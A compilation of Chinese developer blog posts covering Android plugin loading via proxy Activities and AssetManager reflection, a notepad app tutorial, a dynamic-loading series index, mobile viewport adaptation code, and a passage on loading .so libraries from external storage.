	在ProxyActivity生命周期里用反射调用插件Activity相应生命周期的方法，简单粗暴。


	把插件Activity的生命周期抽象成接口，在ProxyActivity的生命周期里调用。另外，多了这一层接口，也方便主项目控制插件Activity。




这里补充说明下，Fragment自带生命周期，用Fragment来代替Activity开发可以省去大部分生命周期的控制工作，但是会使得界面跳转比较麻烦，而且Honeycomb以前没有Fragment，无法在API11以前的系统使用。

在插件Activity里使用R资源

使用代理的方式同步调用生命周期的做法容易理解，也没什么问题，但是要使用插件里面的res资源就有点麻烦了。简单的说，res里的每一个资源都会在R.java里生成一个对应的Integer类型的id，APP启动时会先把R.java注册到当前的上下文环境，我们在代码里以R文件的方式使用资源时正是通过使用这些id访问res资源，然而插件的R.java并没有注册到当前的上下文环境，所以插件的res资源也就无法通过id使用了。

这个问题困扰了我们很久，一开始的项目急于投入生产，所以我们索性抛开res资源，插件里需要用到的新资源都通过纯Java代码的方式创建（包括XML布局、动画、点九图等），蛋疼但有效。知道网上出现了解决这一个问题的有效方法（一开始貌似是在手机QQ项目中出现的，但是没有开源所以不清楚，在这里真的佩服这些对技术这么有追求的开发者）。

记得我们平时怎么使用res资源的吗，就是“getResources().getXXX(resid)”，看看“getResources()”

@Override
    public Resources getResources() {
        if (mResources != null) {
            return mResources;
        }
        if (mOverrideConfiguration == null) {
            mResources = super.getResources();
            return mResources;
        } else {
            Context resc = createConfigurationContext(mOverrideConfiguration);
            mResources = resc.getResources();
            return mResources;
        }
    }

看起来像是通过mResources实例获取res资源的，在找找mResources实例是怎么初始化的，看看上面的代码发现是使用了super类ContextThemeWrapper里的“getResources()”方法，看进去

Context mBase;
    public ContextWrapper(Context base) {
        mBase = base;
    }
@Override
    public Resources getResources()
    {
        return mBase.getResources();
    }

看样子又调用了Context的“getResources()”方法，看到这里，我们知道Context只是个抽象类，其实际工作都是在ContextImpl完成的，赶紧去ContextImpl里看看“getResources()”方法吧

@Override
    public Resources getResources() {
        return mResources;
    }

…………
……
你TM在逗我么，还是没有mResources的创建过程啊！啊，不对，mResources是ContextImpl的成员变量，可能是在构造方法中创建的，赶紧去看看构造方法（这里只给出关键代码）。

resources = mResourcesManager.getTopLevelResources(packageInfo.getResDir(),
                        packageInfo.getSplitResDirs(), packageInfo.getOverlayDirs(),
                        packageInfo.getApplicationInfo().sharedLibraryFiles, displayId,
                        overrideConfiguration, compatInfo);
mResources = resources;

看样子是在ResourcesManager的“getTopLevelResources”方法中创建的，看进去

 Resources getTopLevelResources(String resDir, String[] splitResDirs,
            String[] overlayDirs, String[] libDirs, int displayId,
            Configuration overrideConfiguration, CompatibilityInfo compatInfo) {
        Resources r;
        AssetManager assets = new AssetManager();
        if (libDirs != null) {
            for (String libDir : libDirs) {
                if (libDir.endsWith(".apk")) {
                    if (assets.addAssetPath(libDir) == 0) {
                        Log.w(TAG, "Asset path '" + libDir +
                                "' does not exist or contains no resources.");
                    }
                }
            }
        }
        DisplayMetrics dm = getDisplayMetricsLocked(displayId);
        Configuration config ……;
        r = new Resources(assets, dm, config, compatInfo);
        return r;
    }

看来这里是关键了，看样子就是通过这些代码从一个APK文件加载res资源并创建Resources实例，经过这些逻辑后就可以使用R文件访问资源了。具体过程是，获取一个AssetManager实例，使用其“addAssetPath”方法加载APK（里的资源），再使用DisplayMetrics、Configuration、CompatibilityInfo实例一起创建我们想要的Resources实例。

最终访问插件APK里res资源的关键代码如下

    try {  
        AssetManager assetManager = AssetManager.class.newInstance();  
        Method addAssetPath = assetManager.getClass().getMethod("addAssetPath", String.class);  
        addAssetPath.invoke(assetManager, mDexPath);  
        mAssetManager = assetManager;  
    } catch (Exception e) {  
        e.printStackTrace();  
    }  
    Resources superRes = super.getResources();  
    mResources = new Resources(mAssetManager, superRes.getDisplayMetrics(),  
            superRes.getConfiguration());  

注意，有的人担心从插件APK加载进来的res资源的ID可能与主项目里现有的资源ID冲突，其实这种方式加载进来的res资源并不是融入到主项目里面来，主项目里的res资源是保存在ContextImpl里面的Resources实例，整个项目共有，而新加进来的res资源是保存在新创建的Resources实例的，也就是说ProxyActivity其实有两套res资源，并不是把新的res资源和原有的res资源合并了（所以不怕R.id重复），对两个res资源的访问都需要用对应的Resources实例，这也是开发时要处理的问题。（其实应该有3套，Android系统会加载一套framework-res.apk资源，里面存放系统默认Theme等资源）

额外补充下，这里你可能注意到了我们采用了反射的方法调用AssetManager的“addAssetPath”方法，而在上面ResourcesManager中调用AssetManager的“addAssetPath”方法是直接调用的，不用反射啊，而且看看SDK里AssetManager的“addAssetPath”方法的源码（这里也能看到具体APK资源的提取过程是在Native里完成的），发现它也是public类型的，外部可以直接调用，为什么还要用反射呢？

    /**
     * Add an additional set of assets to the asset manager.  This can be
     * either a directory or ZIP file.  Not for use by applications.  Returns
     * the cookie of the added asset, or 0 on failure.
     * {@hide}
     */
    public final int addAssetPath(String path) {
        synchronized (this) {
            int res = addAssetPathNative(path);
            makeStringBlocks(mStringBlocks);
            return res;
        }
    }

这里有个误区，SDK的源码只是给我们参考用的，APP实际上运行的代码逻辑在android.jar里面（位于android-sdk\platforms\android-XX），反编译android.jar并找到ResourcesManager类就可以发现这些接口都是对应用层隐藏的。

public final class AssetManager{
  AssetManager(){throw new RuntimeException("Stub!"); } 
  public void close() { throw new RuntimeException("Stub!"); } 
  public final InputStream open(String fileName) throws IOException { throw new RuntimeException("Stub!"); } 
  public final InputStream open(String fileName, int accessMode) throws IOException { throw new RuntimeException("Stub!"); } 
  public final AssetFileDescriptor openFd(String fileName) throws IOException { throw new RuntimeException("Stub!"); } 
  public final native String[] list(String paramString) throws IOException;

  public final AssetFileDescriptor openNonAssetFd(String fileName) throws IOException { throw new RuntimeException("Stub!"); } 
  public final AssetFileDescriptor openNonAssetFd(int cookie, String fileName) throws IOException { throw new RuntimeException("Stub!"); } 
  public final XmlResourceParser openXmlResourceParser(String fileName) throws IOException { throw new RuntimeException("Stub!"); } 
  public final XmlResourceParser openXmlResourceParser(int cookie, String fileName) throws IOException { throw new RuntimeException("Stub!"); } 
  protected void finalize() throws Throwable { throw new RuntimeException("Stub!");
  }
  public final native String[] getLocales();
}

到此，启动插件里的Activity的两大问题都有解决的方案了。

代理模式的具体项目 dynamic-load-apk


上面只是分析了代理模式的关键技术点，如果运用到具体项目中去的话，除了两个关键的问题外，还有许多繁琐的细节需要处理，我们需要设计一个框架，规范插件APK项目的开发，也方便以后功能的扩展。这里，dynamic-load-apk向我们展示了许多优秀的处理方法，比如：


	把Activity关键的生命周期方法抽象成DLPlugin接口，ProxyActivity通过DLPlugin代理调用插件Activity的生命周期；


	设计一个基础的BasePluginActivity类，插件项目里使用这些基类进行开发，可以以接近常规Android开发的方式开发插件项目；


	以类似的方式处理Service的问题；


	处理了大量常见的兼容性问题（比如使用Theme资源时出现的问题）；


	处理了插件项目里的so库的加载问题；


	使用PluginPackage管理插件APK，从而可以方便地管理多个插件项目；




处理插件项目里的so库的加载

这里需要把插件APK里面的SO库文件解压释放出来，在根据当前设备CPU的型号选择对应的SO库，并使用System.load方法加载到当前内存中来，具体分析请参考 Android动态加载补充 加载SD卡的SO库。

多插件APK的管理

动态加载一个插件APK需要三个对应的DexClassLoader、AssetManager、Resources实例，可以用组合的方式创建一个PluginPackage类存放这三个变量，再创建一个管理类PluginManager，用成员变量HashMap<dexPath,pluginPackage>的方式保存PluginPackage实例。

具体的代码请参考原项目的文档、源码以及Sample里面的示例代码，在这里感谢singwhatiwanna的开源精神。

实际应用中可能要处理的问题

插件APK的管理后台

使用动态加载的目的，就是希望可以绕过APK的安装过程升级应用的功能，如果插件APK是打包在主项目内部的那动态加载纯粹是多次一举。更多的时候我们希望可以在线下载插件APK，并且在插件APK有新版本的时候，主项目要从服务器下载最新的插件替换本地已经存在的旧插件。为此，我们应该有一个管理后台，它大概有以下功能：


	上传不同版本的插件APK，并向APP主项目提供插件APK信息查询功能和下载功能；


	管理在线的插件APK，并能向不同版本号的APP主项目提供最合适的插件APK；


	万一最新的插件APK出现紧急BUG，要提供旧版本回滚功能；


	出于安全考虑应该对APP项目的请求信息做一些安全性校验；




插件APK合法性校验

加载外部的可执行代码，一个逃不开的问题就是要确保外部代码的安全性，我们可不希望加载一些来历不明的插件APK，因为这些插件有的时候能访问主项目的关键数据。

最简单可靠的做法就是校验插件APK的MD5值，如果插件APK的MD5与我们服务器预置的数值不同，就认为插件被改动过，弃用。

是热部署，还是插件化？

这一部分作为补充说明，如果不太熟悉动态加载的使用姿势，可能不是那么容易理解。

谈到动态加载的时候我们经常说到“热部署”和“插件化”这些名词，它们虽然都和动态加载有关，但是还是有一点区别，这个问题涉及到主项目与插件项目的交互方式。前面我们说到，动态加载方式，可以在“项目层级”做到代码分离，按道理我们希望是主项目和插件项目不要有任何交互行为，实际上也应该如此！这样做不仅能确保项目的安全性，也能简化开发工作，所以一般的做法是

只有在用户使用到的时候才加载插件

主项目还是像常规Android项目那样开发，只有用户使用插件APK的功能时才动态加载插件并运行，插件一旦运行后，与主项目没有任何交互逻辑，只有在主项目启动插件的时候才触发一次调用插件的行为。比如，我们的主项目里有几款推广的游戏，平时在用户使用主项目的功能时，可以先静默把游戏（其实就是一个插件APK）下载好，当用户点击游戏入口时，以动态加载的方式启动游戏，游戏只运行插件APK里的代码逻辑，结束后返回主项目界面。

一启动主项目就加载插件

另外一种完全相反的情形是，主项目只提供一个启动的入口，以及从服务器下载最新插件的更新逻辑，这两部分的代码都是长期保持不变的，应用一启动就动态加载插件，所有业务逻辑的代码都在插件里实现。比如现在一些游戏市场都要求开发者接入其SDK项目，如果SDK项目采用这种开发方式，先提供一个空壳的SDK给开发者，空壳SDK能从服务器下载最新的插件再运行插件里的逻辑，就能保证开发者开发的游戏每次启动的时候都能运行最新的代码逻辑，而不用让开发者在SDK有新版本的时候重新更换SDK并构建新的游戏APK。

让插件使用主项目的功能

明明，说了不要交互的，偏偏，Android开发者就是这么执着于技术。

有些时候，比如，主项目里有一个成熟的图片加载框架ImageLoader，而插件里也有一个ImageLoader。如果一个应用同时运行两套ImageLoader，那会有许多额外的性能开销，如果能让插件也用主项目的ImageLoader就好了。另外，如果在插件里需要用到用户登录功能，我们总不希望用户使用主项目时进行一次登录，进入插件时由来一次登录，如果能在插件里使用主项目的登录状态就好了。

因此，有些时候我们希望插件项目能调用主项目的功能。怎么处理好呢，由于插件项目与主项目是分开的，我们在开发插件的时候，怎么调用主项目的代码啊？这里需要稍微了解一下Android项目间的依赖方式。

想想一个普通的APK是怎么构建和运行的，Android SDK提供了许多系统类（如Activity、Fragment等，一般我们也喜欢在这里查看源码），我们的Android项目依赖Android SDK项目并使用这些类进行开发，那构建APK的时候会把这些类打包进来吗？不会，要是每个APK都打包一份，那得有多少冗余啊。所以Android项目至少有两种依赖的方式，一种构建时会把被依赖的项目（Library）的类打包进来，一种不会。

在Android Studio打开项目的Project Structure，找到具体Module的Dependencies选项卡


可以看到Library项目有个Scope属性，这里的Compile模式就是会把Library的类打包进来，而Provided模式就不会。

注意，使用Provided模式的Library只能是jar文件，而不能是一个Android Library项目，因为后者可能自带了一些res资源，这些资源无法一并塞进标准的jar文件里面。到这里我们明白，Android SDK的代码其实是打包进系统ROM（俗称Framework层级）里面的，我们开发Android项目的时候，只是以Provided模式引用android.jar，从这个角度也佐证了上面谈到的“为什么APP实际运行时AssetManager类的逻辑会与Android SDK里的源码不一样”。

现在好办了，如果要在插件里使用主项目的ImageLoader，我们可以把ImageLoader的相关代码抽离成一个Android Libary项目，主项目以Compile模式引用这个Libary，而插件项目以Provided模式引用这个Library（编译出来的jar），这样能实现两者之间的交互了，当然代价也是明显的。


	我们应该只给插件开放一些必要的接口，不然会有安全性问题；


	作为通用模块的Library应该保持不变（起码接口不变），不然主项目与插件项目的版本同步会复杂许多；


	因为插件项目已经严重依赖主项目了，所以插件项目不能独立运行，因为缺少必要的环境；




最后我们再说说“热部署”和“插件化”的区别，一般我们把独立运行的插件APK叫热部署，而需要依赖主项目的环境运行的插件APK叫做插件化。


 #土豆记事#教你开发Android App之 —— 真的开始写App了

作者：Gemini
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基础界面


我们要开发的App界面如下




  
	有一个title

  	一个列表

  	右下角一个按钮

  





	title 可以用系统自带的ActionBar实现（Lollipop以上为Toolbar）。

	下面的列表可以用ListView或者android-support-compact-v7提供的新的RecyclerView。展示一个列表。

	按钮可以使用普通的Button，我这里为了符合Material Design规范，使用了FloatingActionButton，没什么不同，只是展示出来的样式不一样而已。



整个界面就这么简单。


我们可以看到Toolbar以下的部分是列表和按钮，它们的排列不是属于线性排列，所以我们就想到用RelativeLayout布局 —— 列表占满空间，而按钮存在容器的右下角。

我们的布局文件就如下：


<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <org.lifefortheorc.tudounotepad.widget.EmptyRecyclerView
        android:id="@+id/recycler_note"
        android:layout_width="match_parent"
        android:layout_height="match_parent" />

    <TextView
        android:id="@+id/tv_empty"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="@string/empty"
        android:gravity="center"
        android:layout_centerInParent="true" />

    <android.support.design.widget.FloatingActionButton
        android:id="@+id/fab_add"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentEnd="true"
        android:layout_alignParentBottom="true"
        android:layout_marginEnd="@dimen/activity_horizontal_margin"
        android:layout_marginBottom="@dimen/activity_vertical_margin"
        android:src="@drawable/ic_add" />

</RelativeLayout>



这其中的tv_empty是我们用来做一个列表空内容的提醒的，触发的结果如下
当列表不为空时隐藏，当列表为空时就显示



关于列表


不管是ListView还是RecylerView，如果你熟悉iOS开发的话，会理解item重用的机制——Android为了省资源，只会创建一屏幕的item，如果你的列表项目数目大于一个屏幕，当你滚下列表时，系统会把顶上的item回收，在回调函数里提供给你重新使用，然后重新在底部显示出来，这样的好处是你创建的item不论你实际数据的大小，它至多只创建一个屏幕多的数量，能节省资源。


列表、子视图和数据之间的交互使用了适配器模式，在Adapter中把你的数据渲染到item view上，然后应用给父视图。

关于ListView的介绍，请看传送门：http://developer.android.com/guide/topics/ui/layout/listview.html


如果你看懂了ListView，那么RecylerView只是对其的一种优化，使用了更多的自定义的属性和更方便自由的布局管理系统。


我这里使用了RecylerView，我们来看下适配器的源码


public class NoteAdapter extends RecyclerView.Adapter<NoteAdapter.ViewHolder> {

    private static final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss");

    private Context mContext;
    private List<NoteModel> noteList;

    public NoteAdapter(Context ctx) {
        this.noteList = new ArrayList<>();
        this.mContext = ctx;
    }

    public void setNoteList(List<NoteModel> noteList) {
        //设置数据
        this.noteList.clear();
        this.noteList.addAll(noteList);
    }

    @Override
    public ViewHolder onCreateViewHolder(ViewGroup viewGroup, int i) {
        LayoutInflater layoutInflater = LayoutInflater.from(mContext);
        View view = layoutInflater.inflate(R.layout.item_note, viewGroup, false);
        //返回默认界面布局
        return new ViewHolder(view);
    }

    @Override
    public void onBindViewHolder(ViewHolder viewHolder, int position) {
        NoteModel note = noteList.get(position);

        String content = note.getContent();
        long time = note.getTime();

        //根据数据渲染界面
        viewHolder.mTextViewContent.setText(content);
        viewHolder.mTextViewTitle.setText(dateFormat.format(time));
    }

    public void remove(int position) {
        NoteModel note = this.noteList.get(position);
        note.delete();
        this.noteList.remove(position);
    }

    @Override
    public int getItemCount() {
        return noteList.size();
    }

    public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener {
        @Bind(R.id.tv_title)
        public TextView mTextViewTitle;
        @Bind(R.id.tv_content)
        public TextView mTextViewContent;

        public ViewHolder(View itemView) {
            super(itemView);
            ButterKnife.bind(this, itemView);
            itemView.setOnClickListener(this);
        }

        @Override
        public void onClick(View v) {
            int position = this.getAdapterPosition();
            NoteModel note = noteList.get(position);


            long id = note.getId();
            Intent intent = new Intent(mContext, EditActivity.class);
            intent.putExtra("id", id);
            ActivityOptions options =  ActivityOptions.makeSceneTransitionAnimation((Activity) mContext,
                    v, "content");
            mContext.startActivity(intent,
                    options.toBundle());
        }
    }

}



靠这一套Adapter，RecyclerView就能一项一项渲染出我们要的列表了。


关于数据


渲染界面少不了数据，我们创建数据的入口在右下角，点"+"号就可以跳转到新建的页面

代码如下：


Intent intent = new Intent(this, EditActivity.class);
startActivity(intent);



两行即可搞定。


我们跳转到新的界面




在这里用户可以输入想要的内容，点右上角的保存即可保存。保存到内存很简单，我们如何把数据持久化呢？

Android系统提供了SQLite来给我们持久化数据。SQLite是一种轻量级的文件关系型数据库，可以满足我们的需求，我们使用SQLite存储用户输入的数据，然后保存到本地，就是这样。



  关于Android中，SQLite的部分，可以看这个传送门：http://developer.android.com/training/basics/data-storage/databases.ht...




在这里，我们为了方便直接使用ActiveAndroid的ORM方案(http://www.activeandroid.com/)，可以

把Model直接持久化到数据库，然后从数据库中读取数据。

我们的模型如下：


@Column(name = "content")
private String content;

@Column(name = "time")
private long time;

public String getContent() {
    return content;
}

public void setContent(String content) {
    this.content = content;
}

public long getTime() {
    return time;
}

public void setTime(long time) {
    this.time = time;
}

public static List<NoteModel> queryNoteList() {
    return new Select().from(NoteModel.class).execute();
}

public static NoteModel queryById(long id) {
    return new Select().from(NoteModel.class)
                       .where("Id = ?", id).executeSingle();
}



我们记录用户存入的内容，存入的事件，然后定义两个方法——列出所有存着的列表和根据id查询其中一个对象，我们使用这两个方法就能获取到列表和详情两个数据。


列表数据提供给首页，详情数据提供给编辑页面。这样就满足了一个记事本App的基础需求——增加与修改。


列表页：


详情页：





如果对于写App入门还有什么问题，欢迎留言以及在Github上follow我



  本文提到的项目源码地址：https://github.com/geminiwen/tudounotepad

  欢迎留言Github或者@geminiwen
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Android Dynamical Loading



大家新年好，最近花了点时间，慢慢把这个系列的内容稍微调整了下。
Last Edit: 2016-2-10

基本信息


	Author：Kaedea


	GitHub：android-dynamical-loading




动态加载介绍

在Android开发中采用动态加载技术，可以达到不安装新的APK就升级APP功能的目的，可以用来到达快速发版的目的，也可以用来修复一些紧急BUG。

现在使用得比较广泛的动态加载技术的核心一般都是使用 ClassLoader ，后者能够加载程序外部的类（已编译好的），从而达到升级代码逻辑的目的。虽然动态加载的核心原理比较简单，但是根据功能的复杂程度，实际在Android项目中使用的时候还要涉及许多其他方面的知识，这里分为几个篇幅分别进行介绍。

简单易懂的介绍

内容：


	动态加载技术在Android中的使用背景；


	Android的动态的加载大致可以分为“加载SO库”和“加载DEX/JAR/APK”两种；


	动态加载的基础是类加载器ClassLoader；


	使用动态加载的三种模式；


	采用动态加载的作用与代价；


	除了ClassLoader之外的动态修改代码的技术（HotFix）；


	一些动态加载的开源项目；




地址：Android动态加载技术 简单易懂的介绍



类加载器ClassLoader的工作机制

内容：


	类加载器ClassLoader的创建过程和加载类的过程；


	ClassLoader的双亲代理模式；


	DexClassLoader和PathClassLoader之间的区别；


	使用ClassLoader加载外部类需要注意的一些问题；


	自定义ClassLoader（Hack开发）




文章地址：Android动态加载基础 ClassLoader的工作机制



加载SD卡的SO库

内容：


	如何编译和使用SO库；


	分析Android中加载SO库相关的源码；


	如何加载SD卡中的SO库（也是动态加载APK需要解决的问题）；




地址：Android动态加载补充 加载SD卡的SO库



简单的动态加载模式

内容：


	如何创建我们需要的dex文件；


	如何加载dex文件里面的类；


	动态加载dex文件在ART虚拟机的兼容性问题；




地址：Android动态加载入门 简单加载模式



代理Activity的模式

内容：


	如何启动插件APK中没有注册的Activity


	代理Activity模式开源项目“dynamic-load-apk”




地址：Android动态加载进阶 代理Activity模式



动态创建Activity的模式

内容：


	如何在运行时动态创建一个Activity；


	自定义ClassLoader并偷梁换柱替换想要加载的类；


	动态创建Activity模式开源项目“android-pluginmgr”


	代理模式与动态创建类模式的区别；




地址：Android动态加载黑科技 动态创建Activity模式

还未发布的内容


	使用“环境注入”的模式；


	使用动态加载技术的情形；


	使用动态加载方式项目的项目结构调整和开发调试方式；


	开源项目“Android-Frontia”，动态加载框架的项目，专注于“插件化”和“宿主与插件之间的通讯”；





 懒人必备的移动端定宽网页适配方案

作者：JerryZou

来源： 懒人必备的移动端定宽网页适配方案



                    
本文最初发布于我的个人博客：咀嚼之味



如今移动设备的分辨率纷繁复杂。以前仅仅是安卓机拥有各种各样的适配问题，如今 iPhone 也拥有了三种主流的分辨率，而未来的 iPhone 7 可能又会玩出什么新花样。如何以不变应万变，用简简单单的几行代码就能支持种类繁多的屏幕分辨率呢？今天就给大家介绍一种懒人必备的移动端定宽网页适配方法。

首先看看下面这行代码：

<meta name="viewport" content="width=device-width, user-scalabel=no">

有过移动端开发经验的同学是不是对上面这句代码非常熟悉？它可能最常见的响应式设计的 viewport 设置之一，而我今天介绍的这种方法也是利用了 meta 标签设置 viewport 来支持大部分的移动端屏幕分辨率。

目标

	仅仅通过配置 <meta name="viewport"> 使得移动端网站只需要按照固定的宽度设计并实现，就能在任何主流的移动设备上都能看到符合设计稿的页面，包括 Android 4+、iPhone 4+。




测试设备


	三星 Note II (Android 4.1.2) - 真机


	三星 Note III (Android 4.4.4 - API 19) - Genymotion 虚拟机


	iPhone 6 (iOS 9.1) - 真机




iPhone

iPhone 的适配比较简单，只需要设置 width 即可。比如：

<!-- for iPhone -->
<meta name="viewport" content="width=320, user-scalable=no" />

这样你的页面在所有的 iPhone 上，无论是 宽 375 像素的 iPhone 6 还是宽 414 像素的 iPhone 6 plus，都能显示出定宽 320 像素的页面。

Android

Android 上的适配被戏称为移动端的 IE，确实存在着很多兼容性问题。Android 以 4.4 版本为一个分水岭，首先说一说相对好处理的 Android 4.4+

Android 4.4+

为了兼容性考虑，Android 4.4 以上抛弃了 target-densitydpi 属性，它只会在 Android 设备上生效。如果对这个被废弃的属性感兴趣，可以看看下面这两个链接：


	Support for target-densitydpi is removed from WebKit


	Bug 88047 - Remove support for target-densitydpi in the viewport meta tag




我们可以像在 iPhone 上那样设置 width=320 以达到我们想要的 320px 定宽的页面设计。

<!-- for Android 4.4+ -->
<meta name="viewport" content="width=320, user-scalable=no" />

Android 4.0 ~ 4.3

作为 Android 相对较老的版本，它对 meta 中的 width 属性支持得比较糟糕。以三星 Note II 为例，它的 device-width 是 360px。如果设置 viewport 中的 width (以下简称 vWidth ) 为小于等于 360 的值，则不会有任何作用；而设置 vWidth 为大于 360 的值，也不会使画面产生缩放，而是出现了横向滚动条。

想要对 Android 4.0 ~ 4.3 进行支持，还是不得不借助于页面缩放，以及那个被废除的属性：target-densitydpi。

target-densitydpi

target-densitydpi 一共有四种取值：low-dpi (0.75), medium-dpi (1.0), high-dpi (1.5), device-dpi。在 Android 4.0+ 的设备中，device-dpi 一般都是 2.0。我使用手头上的三星 Note II 设备 (Android 4.1.2) 进行了一系列实验，得到了下面这张表格：



	target-densitydpi
	viewport: width
	body width
	屏幕可视范围宽度





	low-dpi (0.75)
	vWidth <= 320
	270
	270



	 
	vWidth > 320
	vWidth*
	270



	medium-dpi (1.0)
	vWidth <= 360
	360
	360



	 
	vWidth > 360
	vWidth*
	360



	high-dpi (1.5)
	vWidth <= 320
	540
	540



	 
	320 < vWidth <= 540
	vWidth*
	vWidth*



	 
	vWidth > 540
	vWidth*
	540



	device-dpi (2.0)**
	vWidth <= 320
	720
	720



	 
	320 < vWidth <= 720
	vWidth*
	vWidth*



	 
	vWidth > 720
	vWidth*
	720






	vWidth*：指的是与 viewport 中设置的 width 的值相同。


	device-dpi (2.0)**：在 Android 4.0+ 的设备中，device-dpi 一般都是 2.0。




首先可以看到 320px 是个特别诡异的临界值，低于这个临界值后就会发生超出我们预期的事情。综合考虑下来，还是采用 target-densitydpi = device-dpi 这一取值。如果你想要以 320px 作为页面的宽度的话，我建议你针对安卓 4.4 以下的版本设置 width=321。

如果 body 的宽度超过屏幕可视范围的宽度，就会出现水平的滚动条。这并不是我们期望的结果，所以我们还要用到缩放属性 initial-scale。计算公式如下：

Scale = deviceWidth / vWidth

这样的计算式不得不使用 JS 来实现，最终我们就能得到适配 Android 4.0 ~ 4.3 定宽的代码：

var match,
    scale,
    TARGET_WIDTH = 320;

if (match = navigator.userAgent.match(/Android (\d+\.\d+)/)) {
    if (parseFloat(match[1]) < 4.4) {
        if (TARGET_WIDTH == 320) TARGET_WIDTH++;
        var scale = window.screen.width / TARGET_WIDTH;
        document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + TARGET_WIDTH + ', initial-scale = ' + scale + ', target-densitydpi=device-dpi');
    }
}

其中，TARGET_WIDTH 就是你所期望的宽度，注意这段代码仅在 320-720px 之间有效哦。

缩放中的坑

如果是 iPhone 或者 Android 4.4+ 的机器，在使用 scale 相关的属性时要非常谨慎，包括 initial-scale, maximum-scale 和 minimum-scale。
要么保证 Scale = deviceWidth / vWidth，要么就尽量不用。来看一个例子：



在缩放比不能保证的情况下，即使设置同样的 width 和 initial-scale 后，两者的表现也是不一致。具体两种机型采用的策略如何我还没有探索出来，有兴趣的同学可以研究看看。最省事的办法就是在 iPhone 和 Android 4.4+ 上不设置 scale 相关的属性。

总结

结合上面所有的分析，你可以通过下面这段 JS 代码来对所有 iPhone 和 Android 4+ 的手机屏幕进行适配：

var match,
    scale,
    TARGET_WIDTH = 320;

if (match = navigator.userAgent.match(/Android (\d+\.\d+)/)) {
    if (parseFloat(match[1]) < 4.4) {
        if (TARGET_WIDTH == 320) TARGET_WIDTH++;
        var scale = window.screen.width / TARGET_WIDTH;
        document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + TARGET_WIDTH + ', initial-scale = ' + scale + ', target-densitydpi=device-dpi');
    }
} else {
    document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + TARGET_WIDTH);
}

如果你不希望你的页面被用户手动缩放，你还可以加上 user-scalable=no。不过需要注意的是，这个属性在部分安卓机型上是无效的哦。

其他参考资料


	Supporting Different Screens in Web Apps - Android Developers


	Viewport target-densitydpi support is being deprecated




附录 - 测试页面

有兴趣的同学可以拿这个测试页面来测测自己的手机，别忘了改 viewport 哦。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=250, initial-scale=1.5, user-scalable=no">
    <title>Document</title>
    <style>
        body {
            margin: 0;
        }

        div {
            background: #000;
            color: #fff;
            font-size: 30px;
            text-align: center;
        }

        .block {
            height: 50px;
            border-bottom: 4px solid #ccc;
        }

        #first  { width: 100px; }
        #second { width: 200px; }
        #third  { width: 300px; }
        #fourth { width: 320px; }
        #log { font-size: 16px; }
    </style>
</head>
<body>
    <div id="first" class="block">100px</div>
    <div id="second" class="block">200px</div>
    <div id="third" class="block">300px</div>
    <div id="fourth" class="block">320px</div>
    <div id="log"></div>
    <script>
        function log(content) {
            var logContainer = document.getElementById('log');
            var p = document.createElement('p');
            p.textContent = content;
            logContainer.appendChild(p);
        }

        log('body width:' + document.body.clientWidth)
        log(document.querySelector('[name="viewport"]').content)
    </script>
</body>
</html>


 Android动态加载补充 加载SD卡中的SO库

作者：Kaede

来源： Android动态加载补充 加载SD卡中的SO库



                    
基本信息


	作者：kaedea


	项目：android-dynamical-loading




JNI与NDK

Android中JNI的使用其实就包含了动态加载，APP运行时动态加载.so库并通过JNI调用其封装好的方法。后者一般是使用NDK工具从C/C++代码编译而成，运行在Native层，效率会比执行在虚拟机的Java代码高很多，所以Android中经常通过动态加载.so库来完成一些对性能比较有需求的工作（比如T9搜索、或者Bitmap的解码、图片高斯模糊处理等）。此外，由于.so库是由C++编译而来的，只能被反编译成汇编代码，相比Smali更难被破解，因此.so库也可以被用于安全领域。

与我们常说的基于ClassLoader的动态加载不同，SO库的加载是使用System类的（由此可见对SO库的支持也是Android的基础功能），所以这里这是作为补充说明。不过，如果使用ClassLoader加载SD卡里插件APK，而插件APK里面包含有SO库，这就涉及到了对插件APK里的SO库的加载，所以我们也要知道如何加载SD卡里面的SO库。

一般的SO文件的使用姿势

以一个“图片高斯模糊”的功能为例，如果使用Java代码对图像Bitmap的每一个像素点进行计算，那整体耗时将会非常大，所以可以考虑使用JNI。（详细的JNI使用教程网络上有许多，这里不赘述）

这里推荐一个开源的高斯模糊项目 Android StackBlur

在命令行定位到Android.mk文件所在目录，运行NDK工具的ndk-build命令就能编译出我们需要SO库


再把SO库复制到Android Studio项目的jniLibs目录中

（Android Studio现在也支持直接编译SO库，但是有许多坑，这里我选择手动编译）

接着在Java中把SO库对应的模块加载进来

// load so file from internal directory
        try {
            System.loadLibrary("stackblur");
            NativeBlurProcess.isLoadLibraryOk.set(true);
            Log.i("MainActivity", "loadLibrary success!");
        } catch (Throwable throwable) {
            Log.i("MainActivity", "loadLibrary error!" + throwable);
        }

加载成功后就可以直接使用Native方法了

public class NativeBlurProcess {
    public static AtomicBoolean isLoadLibraryOk = new AtomicBoolean(false);
    //native method
    private static native void functionToBlur(Bitmap bitmapOut, int radius, int threadCount, int threadIndex, int round);
    }

由此可见，在Android项目中，SO库的使用也是一种动态加载，在运行时把可执行文件加载进来。一般情况下，SO库都是打包在APK内部的，不允许修改。这种“动态加载”看起来不是我们熟悉的那种啊，貌似没什么卵用。不过，其实SO库也是可以存放在外部存储路径的。

如何把SO文件存放在外部存储

注意到上面加载SO库的时候我们用到了System类的“loadLibrary”方法，同时我们也发现System类还有一个“load”方法，看起来差不多啊，看看他们有什么区别吧！

/**
     * See {@link Runtime#load}.
     */
    public static void load(String pathName) {
        Runtime.getRuntime().load(pathName, VMStack.getCallingClassLoader());
    }

    /**
     * See {@link Runtime#loadLibrary}.
     */
    public static void loadLibrary(String libName) {
        Runtime.getRuntime().loadLibrary(libName, VMStack.getCallingClassLoader());
    }

